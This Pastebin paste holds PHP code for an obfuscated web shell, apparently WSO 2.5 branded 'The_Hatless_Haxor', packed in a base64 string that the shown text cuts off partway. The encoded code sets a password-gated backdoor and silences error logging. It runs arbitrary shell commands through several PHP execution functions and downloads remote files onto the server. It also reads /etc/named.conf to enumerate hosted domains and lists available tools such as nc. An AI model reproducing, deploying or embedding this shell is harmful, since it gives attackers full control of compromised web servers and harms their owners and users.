ERRORTOXIC

h

Nov 8th, 2016
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 110.52 KB | None | 0 0
  1. <?php
  2. $encoded = 'JGF1dGhfcGFzcyA9ICJhZTJhOWFjMzZhYTcyYTkwZmUyNDUwYTQ2ODUzMTM4ZiI7IAokY29sb3IgPSAiI2RmNSI7CiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbic7CiRkZWZhdWx0X3VzZV9hamF4ID0gdHJ1ZTsKJGRlZmF1bHRfY2hhcnNldCA9ICdXaW5kb3dzLTEyNTEnOwoKQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CkBzZXRfdGltZV9saW1pdCgwKTsKQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKQGRlZmluZSgnV1NPX1ZFUlNJT04nLCAnMi41Jyk7CgppZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKSB7CglmdW5jdGlvbiBXU09zdHJpcHNsYXNoZXMoJGFycmF5KSB7CgkJcmV0dXJuIGlzX2FycmF5KCRhcnJheSkgPyBhcnJheV9tYXAoJ1dTT3N0cmlwc2xhc2hlcycsICRhcnJheSkgOiBzdHJpcHNsYXNoZXMoJGFycmF5KTsKCX0KCSRfUE9TVCA9IFdTT3N0cmlwc2xhc2hlcygkX1BPU1QpOwogICAgJF9DT09LSUUgPSBXU09zdHJpcHNsYXNoZXMoJF9DT09LSUUpOwp9CgpmdW5jdGlvbiB3c29Mb2dpbigpIHsKCWRpZSgiPGNlbnRlcj48cHJlIGFsaWduPWNlbnRlcj48Zm9ybSBtZXRob2Q9cG9zdD5QYXNzd29yZCA6OiA8aW5wdXQgdHlwZT1wYXNzd29yZCBuYW1lPXBhc3M+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvcHJlPjwvY2VudGVyPiIpOwp9CgpmdW5jdGlvbiBXU09zZXRjb29raWUoJGssICR2KSB7CiAgICAkX0NPT0tJRVska10gPSAkdjsKICAgIHNldGNvb2tpZSgkaywgJHYpOwp9CgppZighZW1wdHkoJGF1dGhfcGFzcykpIHsKICAgIGlmKGlzc2V0KCRfUE9TVFsncGFzcyddKSAmJiAobWQ1KCRfUE9TVFsncGFzcyddKSA9PSAkYXV0aF9wYXNzKSkKICAgICAgICBXU09zZXRjb29raWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSksICRhdXRoX3Bhc3MpOwoKICAgIGlmICghaXNzZXQoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKSB8fCAoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldICE9ICRhdXRoX3Bhc3MpKQogICAgICAgIHdzb0xvZ2luKCk7Cn0KJGRlZmF1bHRfYWN0aW9uID0gJ0ZpbGVzTWFuJzsKJGRlZmF1bHRfdXNlX2FqYXggPSB0cnVlOwokZGVmYXVsdF9jaGFyc2V0ID0gJ1dpbmRvd3MtMTI1MSc7CmlmIChzdHJ0b2xvd2VyKHN1YnN0cihQSFBfT1MsMCwzKSk9PSJ3aW4iKQogICAgJHN5cz0nd2luJzsKIGVsc2UKICAgICRzeXM9J3VuaXgnOwogICAgCiRob21lX2N3ZCA9IEBnZXRjd2QoKTsKaWYoaXNzZXQoJF9QT1NUWydjJ10pKQogICAgICAgIEBjaGRpcigkX1BPU1RbJ2MnXSk7ICAgCiAgICAKJGN3ZCA9IEBnZXRjd2QoKTsKaWYoJHN5cyA9PSAnd2luJykgCnsKICAgICRob21lX2N3ZCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGhvbWVfY3dkKTsKICAgICAgICAkY3dkID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkY3dkKTsKfQoKaWYoJGN3ZFtzdHJsZW4oJGN3ZCktMV0gIT0gJy8nICkKICAgICAgICAkY3dkIC49ICcvJzsKICAgIAogICAgCmZ1bmN0aW9uIG1hZEV4KCRpbikgewogICAgICAgICRvdXQgPSAnJzsKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsKICAgICAgICAgICAgICAgIEBleGVjKCRpbiwkb3V0KTsKICAgICAgICAgICAgICAgICRvdXQgPSBAam9pbigiXG4iLCRvdXQpOwogICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsKICAgICAgICAgICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgICAgICAgICBAcGFzc3RocnUoJGluKTsKICAgICAgICAgICAgICAgICRvdXQgPSBvYl9nZXRfY2xlYW4oKTsKICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgewogICAgICAgICAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICAgICAgICAgIEBzeXN0ZW0oJGluKTsKICAgICAgICAgICAgICAgICRvdXQgPSBvYl9nZXRfY2xlYW4oKTsKICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsKICAgICAgICAgICAgICAgICRvdXQgPSBzaGVsbF9leGVjKCRpbik7CiAgICAgICAgfSBlbHNlaWYgKGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRpbiwiciIpKSkgewogICAgICAgICAgICAgICAgJG91dCA9ICIiOwogICAgICAgICAgICAgICAgd2hpbGUoIUBmZW9mKCRmKSkKICAgICAgICAgICAgICAgICAgICAgICAgJG91dCAuPSBmcmVhZCgkZiwxMDI0KTsKICAgICAgICAgICAgICAgIHBjbG9zZSgkZik7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkb3V0Owp9CiRkb3duPUBnZXRjd2QoKTsKaWYoJHN5cz09IndpbiIpCiRkb3duLj0nXFwnOwplbHNlCiRkb3duLj0nLyc7CmlmKGlzc2V0KCRfUE9TVFsncnRkb3duJ10pKQp7CiR1cmwgPSAkX1BPU1RbJ3J0ZG93biddOwokbmV3Zm5hbWUgPSAkZG93bi4gYmFzZW5hbWUoJHVybCk7CiRmaWxlID0gZm9wZW4gKCR1cmwsICJyYiIpOwppZiAoJGZpbGUpIHsKICAkbmV3ZiA9IGZvcGVuICgkbmV3Zm5hbWUsICJ3YiIpOwogIGlmICgkbmV3ZikKICB3aGlsZSghZmVvZigkZmlsZSkpIHsKICAgIGZ3cml0ZSgkbmV3ZiwgZnJlYWQoJGZpbGUsIDEwMjQgKiA4ICksIDEwMjQgKiA4ICk7CiAgfQogIH0KCmlmICgkZmlsZSkgewogIGZjbG9zZSgkZmlsZSk7Cn0KaWYgKCRuZXdmKSB7CiAgZmNsb3NlKCRuZXdmKTsKfQp9CgogICAgCiAKIGZ1bmN0aW9uIG1hZGhlYWQoKQogewogICAgaWYoZW1wdHkoJF9QT1NUWydjaGFyc2V0J10pKQogICAgICAgICAgICAgICAgJF9QT1NUWydjaGFyc2V0J10gPSAkR0xPQkFMU1snZGVmYXVsdF9jaGFyc2V0J107CiAKJGZyZWVTcGFjZSA9IEBkaXNrZnJlZXNwYWNlKCRHTE9CQUxTWydjd2QnXSk7CiR0b3RhbFNwYWNlID0gQGRpc2tfdG90YWxfc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTsKJHRvdGFsU3BhY2UgPSAkdG90YWxTcGFjZT8kdG90YWxTcGFjZToxOyAgICAgICAgCiAgICAKJG9uPSI8Zm9udCBjb2xvcj0jMEYwPiBPTiA8L2ZvbnQ+IjsKJG9mPSI8Zm9udCBjb2xvcj1yZWQ+IE9GRiA8L2ZvbnQ+IjsKJG5vbmU9Ijxmb250IGNvbG9yPSMwRjA+IE5PTkUgPC9mb250PiI7ICAgCmlmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJykpCiAgICAkY3VybD0kb247CmVsc2UKICAgICRjdXJsPSRvZjsKaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9nZXRfY2xpZW50X2luZm8nKSkKICAgICRteXNxbD0kb247CiBlbHNlCiAgICAkbXlzcWw9JG9mOyAgICAgIAppZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkKICAgICRtc3NxbD0kb247CmVsc2UKICAgJG1zc3FsPSRvZjsgCiAgICAgICAgICAgICAgICAKaWYoZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpCiAgICAkcGc9JG9uOwplbHNlCiAgICRwZz0kb2Y7ICAgICAgICAgICAgIAppZihmdW5jdGlvbl9leGlzdHMoJ29jaV9jb25uZWN0JykpCiAgICRvcj0kb247CmVsc2UKICAgJG9yPSRvZjsKaWYoQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJykpCiAgJGRpc2Z1bj1AaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsKZWxzZQokZGlzZnVuPSJBbGwgRnVuY3Rpb25zIEVuYWJsZSI7CmlmKEBpbmlfZ2V0KCdzYWZlX21vZGUnKSkKJHNhZmVfbW9kZXM9Ijxmb250IGNvbG9yPXJlZD5PTjwvZm9udD4iOwplbHNlCiRzYWZlX21vZGVzPSI8Zm9udCBjb2xvcj0jMEYwID5PRkY8L2ZvbnQ+IjsKaWYoQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpKQokb3Blbl9iPUBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKTsKICAgIGVsc2UKICAkb3Blbl9iPSRub25lOwogICAgCgppZihAaW5pX2dldCgnc2FmZV9tb2RlX2V4ZWNfZGlyJykpCiRzYWZlX2V4ZT1AaW5pX2dldCgnc2FmZV9tb2RlX2V4ZWNfZGlyJyk7CiAgICBlbHNlCiRzYWZlX2V4ZT0kbm9uZTsKaWYoQGluaV9nZXQoJ3NhZmVfbW9kZV9pbmNsdWRlX2RpcicpKQogICAkc2FmZV9pbmNsdWRlPUBpbmlfZ2V0KCdzYWZlX21vZGVfaW5jbHVkZV9kaXInKTsgCmVsc2UKICRzYWZlX2luY2x1ZGU9JG5vbmU7CmlmKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkgCnsKICAgICAgICAgICAgICAgICR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTsKICAgICAgICAgICAgICAgICR1aWQgPSBAZ2V0bXl1aWQoKTsKICAgICAgICAgICAgICAgICRnaWQgPSBAZ2V0bXlnaWQoKTsKICAgICAgICAgICAgICAgICRncm91cCA9ICI/IjsKfSBlbHNlIAp7CiAgICAgICAgICAgICAgICAkdWlkID0gQHBvc2l4X2dldHB3dWlkKHBvc2l4X2dldGV1aWQoKSk7CiAgICAgICAgICAgICAgICAkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKHBvc2l4X2dldGVnaWQoKSk7CiAgICAgICAgICAgICAgICAkdXNlciA9ICR1aWRbJ25hbWUnXTsKICAgICAgICAgICAgICAgICR1aWQgPSAkdWlkWyd1aWQnXTsKICAgICAgICAgICAgICAgICRncm91cCA9ICRnaWRbJ25hbWUnXTsKICAgICAgICAgICAgICAgICRnaWQgPSAkZ2lkWydnaWQnXTsKICAgICAgICB9CgoKICAgICAkY3dkX2xpbmtzID0gJyc7CiAgICAgICAgJHBhdGggPSBleHBsb2RlKCIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsKICAgICAgICAkbj1jb3VudCgkcGF0aCk7CiAgICAgICAgZm9yKCRpPTA7ICRpPCRuLTE7ICRpKyspIHsKICAgICAgICAgICAgICAgICRjd2RfbGlua3MgLj0gIjxhICBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixcIiI7CiAgICAgICAgICAgICAgICBmb3IoJGo9MDsgJGo8PSRpOyAkaisrKQogICAgICAgICAgICAgICAgICAgICAgICAkY3dkX2xpbmtzIC49ICRwYXRoWyRqXS4nLyc7CiAgICAgICAgICAgICAgICAkY3dkX2xpbmtzIC49ICJcIiknPiIuJHBhdGhbJGldLiIvPC9hPiI7CiAgICAgICAgfQoKJGRyaXZlcyA9ICIiOwpmb3JlYWNoKHJhbmdlKCdjJywneicpIGFzICRkcml2ZSkKaWYoaXNfZGlyKCRkcml2ZS4nOlxcJykpCiRkcml2ZXMgLj0gJzxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJy4kZHJpdmUuJzovXCcpIj5bICcuJGRyaXZlLicgXTwvYT4gJzsKCgoKCgogZWNobyAnPCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgVHJhbnNpdGlvbmFsLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXRyYW5zaXRpb25hbC5kdGQiPgo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4KPGxpbmsgaHJlZj0iaHR0cHM6Ly9zY29udGVudC1hLW14cC54eC5mYmNkbi5uZXQvaHBob3Rvcy14cGExL3QxLjAtOS9zNzIweDcyMC8xMDE3Mjc1Ml82ODMxMTY1MjE3NDgwNzlfNzAwMjEyNzkwX24uanBnIiByZWw9Imljb24iIHR5cGU9ImltYWdlL3gtaWNvbiIvPgo8dGl0bGU+VGhlX0hhdGxlc3NfSGF4b3I8L3RpdGxlPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgo8IS0tCi53aG9sZSB7CiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI0NDQzsKICAgICAgICBoZWlnaHQ6YXV0bzsKICAgICAgICB3aWR0aDogYXV0bzsKICAgICAgICBtYXJnaW4tdG9wOiAxMHB4OwogICAgICAgIG1hcmdpbi1yaWdodDogMTBweDsKICAgICAgICBtYXJnaW4tbGVmdDogMTBweDsKfQouaGVhZGVyIHsKICAgICAgICBoZWlnaHQ6IGF1dG87CiAgICAgICAgd2lkdGg6IGF1dG87CiAgICAgICAgYm9yZGVyOiA3cHggc29saWQgI0NDQzsKICAgICAgICBjb2xvcjogIzk5OTsKICAgICAgICBmb250LXNpemU6IDEycHg7CiAgICAgICAgZm9udC1mYW1pbHk6IFZlcmRhbmEsIEdlbmV2YSwgc2Fucy1zZXJpZjsKICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwOwp9Ci5oZWFkZXIgYSB7Y29sb3I6IzBGMDsgdGV4dC1kZWNvcmF0aW9uOm5vbmU7fQpzcGFuIHsKICAgICAgICBmb250LXdlaWdodDogYm9sZGVyOwogICAgICAgIGNvbG9yOiAjRkZGOwp9CiNtZXVubGlzdCB7CiAgICAgICAgZm9udC1mYW1pbHk6IFZlcmRhbmEsIEdlbmV2YSwgc2Fucy1zZXJpZjsKICAgICAgICBjb2xvcjogI0ZGRjsKICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwOwogICAgICAgIHdpZHRoOiBhdXRvOwogICAgICAgIGJvcmRlci1yaWdodC13aWR0aDogN3B4OwogICAgICAgIGJvcmRlci1sZWZ0LXdpZHRoOiA3cHg7CiAgICAgICAgYm9yZGVyLXRvcC1zdHlsZTogc29saWQ7CiAgICAgICAgYm9yZGVyLXJpZ2h0LXN0eWxlOiBzb2xpZDsKICAgICAgICBib3JkZXItYm90dG9tLXN0eWxlOiBzb2xpZDsKICAgICAgICBib3JkZXItbGVmdC1zdHlsZTogc29saWQ7CiAgICAgICAgYm9yZGVyLXRvcC1jb2xvcjogI0NDQzsKICAgICAgICBib3JkZXItcmlnaHQtY29sb3I6ICNDQ0M7CiAgICAgICAgYm9yZGVyLWJvdHRvbS1jb2xvcjogI0NDQzsKICAgICAgICBib3JkZXItbGVmdC1jb2xvcjogI0NDQzsKICAgICAgICBoZWlnaHQ6IGF1dG87CiAgICAgICAgZm9udC1zaXplOiAxMnB4OwogICAgICAgIGZvbnQtd2VpZ2h0OiBib2xkOwogICAgICAgIGJvcmRlci10b3Atd2lkdGg6IDBweDsKfQogIC53aG9sZSAjbWV1bmxpc3QgdWwgewogICAgICAgIHBhZGRpbmctdG9wOiA1cHg7CiAgICAgICAgcGFkZGluZy1yaWdodDogNXB4OwogICAgICAgIHBhZGRpbmctYm90dG9tOiA3cHg7CiAgICAgICAgcGFkZGluZy1sZWZ0OiAycHg7CiAgICAgICAgdGV4dC1hbGlnbjpjZW50ZXI7CiAgICAgICAgbGlzdC1zdHlsZS10eXBlOiBub25lOwogICAgICAgIG1hcmdpbjogMHB4Owp9CiAgLndob2xlICNtZXVubGlzdCBsaSB7CiAgICAgICAgbWFyZ2luOiAwcHg7CiAgICAgICAgcGFkZGluZzogMHB4OwogICAgICAgIGRpc3BsYXk6IGlubGluZTsKfQogIC53aG9sZSAjbWV1bmxpc3QgYSB7CiAgICBmb250LWZhbWlseTogYXJpYWwsIHNhbnMtc2VyaWY7CiAgICAgICAgZm9udC1zaXplOiAxNHB4OwogICAgICAgIHRleHQtZGVjb3JhdGlvbjpub25lOwogICAgICAgIGZvbnQtd2VpZ2h0OiBib2xkOwogICAgICAgIGNvbG9yOiAjZmZmOwogICAgICAgIGNsZWFyOiBib3RoOwogICAgICAgIHdpZHRoOiAxMDBweDsKICAgICAgICBtYXJnaW4tcmlnaHQ6IC02cHg7CiAgICAgICAgcGFkZGluZy10b3A6IDNweDsKICAgICAgICBwYWRkaW5nLXJpZ2h0OiAxNXB4OwogICAgICAgIHBhZGRpbmctYm90dG9tOiAzcHg7CiAgICAgICAgcGFkZGluZy1sZWZ0OiAxNXB4OwogICAgICAgIGJvcmRlci1yaWdodC13aWR0aDogMXB4OwogICAgICAgIGJvcmRlci1yaWdodC1zdHlsZTogc29saWQ7CiAgICAgICAgYm9yZGVyLXJpZ2h0LWNvbG9yOiAjRkZGOwp9CiAgLndob2xlICNtZXVubGlzdCBhOmhvdmVyIHsKICAgICAgICBjb2xvcjogIzAwMDsKICAgICAgICBiYWNrZ3JvdW5kOiAjZmZmOwp9CgouZm9vdCB7CiAgICAgICAgZm9udC1mYW1pbHk6IFZlcmRhbmEsIEdlbmV2YSwgc2Fucy1zZXJpZjsKICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwOwogICAgICAgIG1hcmdpbjogMHB4OwogICAgICAgIHBhZGRpbmc6IDBweDsKICAgICAgICB3aWR0aDogMTAwJTsKICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7CiAgICAgICAgZm9udC1zaXplOiAxMnB4OwogICAgICAgIGNvbG9yOiAjQ0NDOwogICAgICAgIGJvcmRlci1yaWdodC13aWR0aDogN3B4OwogICAgICAgIGJvcmRlci1sZWZ0LXdpZHRoOiA3cHg7CiAgICBib3JkZXItYm90dG9tLXdpZHRoOiA3cHg7CiAgICBib3JkZXItYm90dG9tLXN0eWxlOiBzb2xpZDsKICAgIGJvcmRlci1yaWdodC1zdHlsZTogc29saWQ7CiAgICBib3JkZXItcmlnaHQtc3R5bGU6IHNvbGlkOwogICAgICAgIGJvcmRlci1sZWZ0LXN0eWxlOiBzb2xpZDsKICAgICAgICBib3JkZXItdG9wLWNvbG9yOiAjQ0NDOwogICAgICAgIGJvcmRlci1yaWdodC1jb2xvcjogI0NDQzsKICAgICAgICBib3JkZXItYm90dG9tLWNvbG9yOiAjQ0NDOwogICAgICAgIGJvcmRlci1sZWZ0LWNvbG9yOiAjQ0NDOwp9JzsKaWYoaXNfd3JpdGFibGUoJEdMT0JBTFNbJ2N3ZCddKSkKIHsKICAgIGVjaG8gIi5mb290dGFibGUgewogICAgd2lkdGg6IDMwMHB4OwogICAgZm9udC13ZWlnaHQ6IGJvbGQ7CiAgICB9Ijt9CiAgICBlbHNlCiAgICB7CiAgICAgICBlY2hvICIuZm9vdHRhYmxlIHsKICAgIHdpZHRoOiAzMDBweDsKICAgIGZvbnQtd2VpZ2h0OiBib2xkOwogICAgYmFja2dyb3VuZC1jb2xvcjpyZWQ7CiAgICB9CiAgICAuZGlyIHsKICAgICAgYmFja2dyb3VuZC1jb2xvcjpyZWQ7ICAKICAgIH0KICAgICI7IAogICAgfSAgICAKIGVjaG8gJy5tYWluIHRoe3RleHQtYWxpZ246bGVmdDt9CiAubWFpbiBhe2NvbG9yOiAjRkZGO30KIC5tYWluIHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6cmVkO30KIC5tbDF7IGJvcmRlcjoxcHggc29saWQgIzQ0NDtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzogYXV0bzsgfQogLmJpZ2FyZWF7IHdpZHRoOjk5JTsgaGVpZ2h0OjMwMHB4OyB9ICAgCiAgPC9zdHlsZT4KCic7CgplY2hvICI8c2NyaXB0PgogICAgdmFyIGNfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiAiJzsKICAgIHZhciBhXyA9ICciIC4gaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydhJ10pIC4iJwogICAgdmFyIGNoYXJzZXRfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ2NoYXJzZXQnXSkgLiInOwogICAgdmFyIHAxXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsncDEnXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSxFTlRfUVVPVEVTKSkgLiInOwogICAgdmFyIHAyXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsncDInXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDInXSxFTlRfUVVPVEVTKSkgLiInOwogICAgdmFyIHAzXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsncDMnXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDMnXSxFTlRfUVVPVEVTKSkgLiInOwogICAgdmFyIGQgPSBkb2N1bWVudDsKICAgICAgICBmdW5jdGlvbiBzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsKICAgICAgICAgICAgICAgIGlmKGEhPW51bGwpZC5tZi5hLnZhbHVlPWE7ZWxzZSBkLm1mLmEudmFsdWU9YV87CiAgICAgICAgICAgICAgICBpZihjIT1udWxsKWQubWYuYy52YWx1ZT1jO2Vsc2UgZC5tZi5jLnZhbHVlPWNfOwogICAgICAgICAgICAgICAgaWYocDEhPW51bGwpZC5tZi5wMS52YWx1ZT1wMTtlbHNlIGQubWYucDEudmFsdWU9cDFfOwogICAgICAgICAgICAgICAgaWYocDIhPW51bGwpZC5tZi5wMi52YWx1ZT1wMjtlbHNlIGQubWYucDIudmFsdWU9cDJfOwogICAgICAgICAgICAgICAgaWYocDMhPW51bGwpZC5tZi5wMy52YWx1ZT1wMztlbHNlIGQubWYucDMudmFsdWU9cDNfOwogICAgICAgICAgICAgICAgaWYoY2hhcnNldCE9bnVsbClkLm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldDtlbHNlIGQubWYuY2hhcnNldC52YWx1ZT1jaGFyc2V0XzsKICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gZyhhLGMscDEscDIscDMsY2hhcnNldCkgewogICAgICAgICAgICAgICAgc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsKICAgICAgICAgICAgICAgIGQubWYuc3VibWl0KCk7CiAgICAgICAgfTwvc2NyaXB0PiI7CgogICAgCiAgICAgICAgZWNobyAnCjwvaGVhZD4KCjxib2R5IGJnY29sb3I9IiMwMDAwMDAiICBsZWZ0bWFyZ2luPSIwIiB0b3BtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiPgo8ZGl2IGNsYXNzPSJ3aG9sZSI+Cjxmb3JtIG1ldGhvZD1wb3N0IG5hbWU9bWYgc3R5bGU9ImRpc3BsYXk6bm9uZTsiPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMT4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDI+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAzPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0Pgo8L2Zvcm0+CiAgPGRpdiBjbGFzcz0iaGVhZGVyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgIGFsaWduPSJsaWZ0Ij4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjMlIj48c3Bhbj5VbmFtZTo8L3NwYW4+PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj4nLnN1YnN0cihAcGhwX3VuYW1lKCksIDAsIDEyMCkuJzwvdGQ+CiAgICA8L3RyPgogIDx0cj4KICAgIDx0ZD48c3Bhbj5Vc2VyOjwvc3Bhbj48L3RkPgogICAgPHRkPicuICR1aWQgLiAnIFsgJyAuICR1c2VyIC4gJyBdIDxzcGFuPiAgIEdyb3VwOiA8L3NwYW4+JyAuICRnaWQgLiAnIFsgJyAuICRncm91cCAuICcgXSA8L3RkPgogICAgPHRkIHdpZHRoPSIxNCUiIHJvd3NwYW49IjgiPjxpbWcgYWx0PSIiIHNyYz0iaHR0cDovL29pNDcudGlueXBpYy5jb20vcW95cTZ2LmpwZyIgd2lkdGg9IjIwMCIgaGlnaHQ9IjIwMCIgLz48L3RkPgogIDwvdHI+CiAgPHRyPgogICAgPHRkPjxzcGFuPlBIUDo8L3NwYW4+PC90ZD4KICAgIDx0ZD4nLkBwaHB2ZXJzaW9uKCkuICcgICA8c3Bhbj4gICBTYWZlIE1vZGU6Jy4kc2FmZV9tb2Rlcy4nPC9zcGFuPjwvdGQ+CiAgICA8L3RyPgogIDx0cj4KICAgIDx0ZD48c3Bhbj5PdXIgSVA6PC9zcGFuPjwvdGQ+CiAgICA8dGQ+Jy5AJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0uJyAgICA8c3Bhbj5TZXJ2ZXIgSVA6PC9zcGFuPiAnLkAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXS4nPC90ZD4KICA8L3RyPgogIDx0cj4KICAgIDx0ZD48c3Bhbj5XRUJTOjwvc3Bhbj48L3RkPgogICAgPHRkIHdpZHRoPSI3NiUiPic7CiAgICAKICAgIGlmKCRHTE9CQUxTWydzeXMnXT09J3VuaXgnKQogICAgewogICAgICAgICRkMG1haW5zID0gQGZpbGUoIi9ldGMvbmFtZWQuY29uZiIpOwogICAgICAgIGlmKCEkZDBtYWlucykKICAgICAgICB7CiAgICAgICAgICAgIGVjaG8gIkNBTlQgUkVBRCBuYW1lZC5jb25mIjsKICAgICAgICB9CiAgICAgICAgZWxzZQogICAgICAgIHsKICAgICAgICAgICRjb3VudDsgIAogICAgICAgICBmb3JlYWNoKCRkMG1haW5zIGFzICRkMG1haW4pCiAgICAgICAgIHsKICAgICAgICAgIGlmKEBlcmVnKCJ6b25lIiwkZDBtYWluKSkKICAgICAgICAgIHsKICAgICAgICAgIHByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywgJGQwbWFpbiwgJGRvbWFpbnMpOwogICAgICAgICAgIGZsdXNoKCk7CiAgICAgICAgICBpZihzdHJsZW4odHJpbSgkZG9tYWluc1sxXVswXSkpID4gMil7CiAgICAgICAgIGZsdXNoKCk7CiAgICAgICAgICRjb3VudCsrOwogICAgICAgICAgIH0gCiAgICAgICAgICAgfQogICAgICAgICAgIH0KICAgICAgICAgICBlY2hvICIkY291bnQgIERvbWFpbnMiOwogICAgICAgIH0KICAgIH0KICAgIGVsc2V7IGVjaG8iQ0FOVCBSRUFEIHxXaW5kb3dzfCI7fQogICAgCiAgICAgIGVjaG8gJzwvdGQ+CiAgICA8L3RyPgogICAgPHRyPgogICAgPHRkIGhlaWdodD0iMTYiPjxzcGFuPkhERDo8L3NwYW4+PC90ZD4KICAgIDx0ZD4nLm1hZFNpemUoJHRvdGFsU3BhY2UpLicgPHNwYW4+RnJlZTo8L3NwYW4+JyAuIG1hZFNpemUoJGZyZWVTcGFjZSkgLiAnIFsnLiAoaW50KSAoJGZyZWVTcGFjZS8kdG90YWxTcGFjZSoxMDApIC4gJyVdPC90ZD4KICAgIDwvdHI+JzsKICAKICAgICBpZigkR0xPQkFMU1snc3lzJ109PSd1bml4JyApCnsKICAgIGlmKCFAaW5pX2dldCgnc2FmZV9tb2RlJykpCiAgICB7CiAgICAKICAgIGVjaG8gJzx0cj48dGQgaGVpZ2h0PSIxOCIgY29sc3Bhbj0iMiI+PHNwYW4+VXNlZnVsIDogPC9zcGFuPic7CiAgICAkdXNlcmZ1bCA9IGFycmF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbWFrZScsJ3BocCcsJ3BlcmwnLCdweXRob24nLCdydWJ5JywndGFyJywnZ3ppcCcsJ2J6aXAnLCdiemlwMicsJ25jJywnbG9jYXRlJywnc3VpZHBlcmwnKTsKICAgICBmb3JlYWNoKCR1c2VyZnVsIGFzICRpdGVtKQogICAgICAgICBpZihtYWRXaGljaCgkaXRlbSkpCiAgICAgICAgIGVjaG8gJGl0ZW0uJywnOwogICAgICAgICBlY2hvICc8L3RkPgogICAgICAgICA8L3RyPgogICAgICAgICAgPHR